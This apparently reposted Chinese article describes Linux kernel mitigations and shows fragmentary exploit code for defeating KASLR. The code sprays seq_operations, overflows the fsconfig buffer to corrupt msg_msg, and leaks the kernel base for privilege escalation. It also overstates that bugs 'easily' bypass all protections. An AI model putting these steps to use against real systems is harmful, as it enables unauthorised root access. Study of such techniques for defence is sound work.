Linux内核寻常保护和绕过技术
内核是操作系统的核心部分。内核负责管理计算机的硬件资源,并实现操作系统的基本功能。内核是操作系统中最重要的部分,它是操作系统与硬件之间的桥梁。内核可以被看作是操作系统的“心脏”,负责控制和管理计算机系统的所有硬件和软件资源。不同的操作系统有不同的内核,比如Linux操作系统有Linux内核,Linux内核是Linux操作系统的核心部分,它是由C语言编写的程序,并且是一个开源软件,它的源代码可以自由下载和修改。Linux内核提供了多种功能,包括内存管理、进程管理、文件系统支持、网络通信等,Linux内核的设计具有高度的可扩展性和灵活性,可以应对各种应用场景和硬件平台。 有代码就有漏洞,内核也不例外。内核漏洞是操作系统内核中的存在的安全漏洞,这些漏洞可能导致系统被恶意软件入侵或攻击者控制,并可能造成数据泄露、系统瘫痪等严重后果。例如:攻击者可能会利用内核漏洞来绕过系统安全保护,提升权限,从而获取用户敏感信息,或者在系统中安装恶意软件,损坏系统数据或瘫痪整个系统。著名漏洞“dirty cow”(脏牛漏洞)影响之广,从2007年到2018年之间的所有发行版都受其影响,让全世界数百万台设备暴露在威胁当中。 如图为近10年漏洞报送数量,表中可知Linux内核漏洞数量一直处于高位,基本每年在100以上,尤其2017年漏洞数量最多,达到449个之多。 因此及时发现,修复内核漏洞非常重要。通常,操作系统厂商会定期发布补丁来修复内核漏洞。同时为了减小漏洞发现造成的危害,Linux内核采用了多种技术来提高漏洞利用的难度来保护系统安全。例如:SMEP保护、SMAP保护、KASLR保护、KPTI保护。但即使是这么多保护,也无法安全保护内核,漏洞可以轻松绕过这些保护,达到提权效果。下面介绍这些年出现Linux内核保护技术以及针对这些保护技术的绕过方法。 KASLR 保护 struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); }; 利用seq_operations泄露内核基地址:堆喷大量 seq_operations (open("/proc/self/stat",O_RDONLY)) ,溢出篡改msg_msg->m_ts的值,从而泄露基地址。 准备 fs_context 漏洞对象; int call_fsopen(){ int fd = fsopen("ext4",0); if(fd <0){ perror("fsopen"); exit(-1); } return fd; } 往kmalloc-32堆喷seq_operations对象; for(int i=0;i<100;i++){ open("/proc/self/stat",O_RDONLY); } 创建大量msg_msg消息(大小为0xfe8),会将辅助消息分配在kmalloc-32 触发kmalloc-4096溢出,修改msg_msg->m_ts; char tiny_evil[] = "DDDDDD\x60\x10"; fsconfig(fd,FSCONFIG_SET_STRING,"CCCCCCCC",tiny,0); fsconfig(fd,FSCONFIG_SET_STRING,"\x00",tiny_evil,0); 利用msg_msg越界读,泄露内核指针。 get_msg(targets[i],received,size,0,IPC_NOWAIT | MSG_COPY | MSG_NOERROR); printf("[*] received 0x%lx\n", kbase); 泄露出基地址后,可根据偏移计算任何内核函数地址达到提权。 (编辑:银川站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |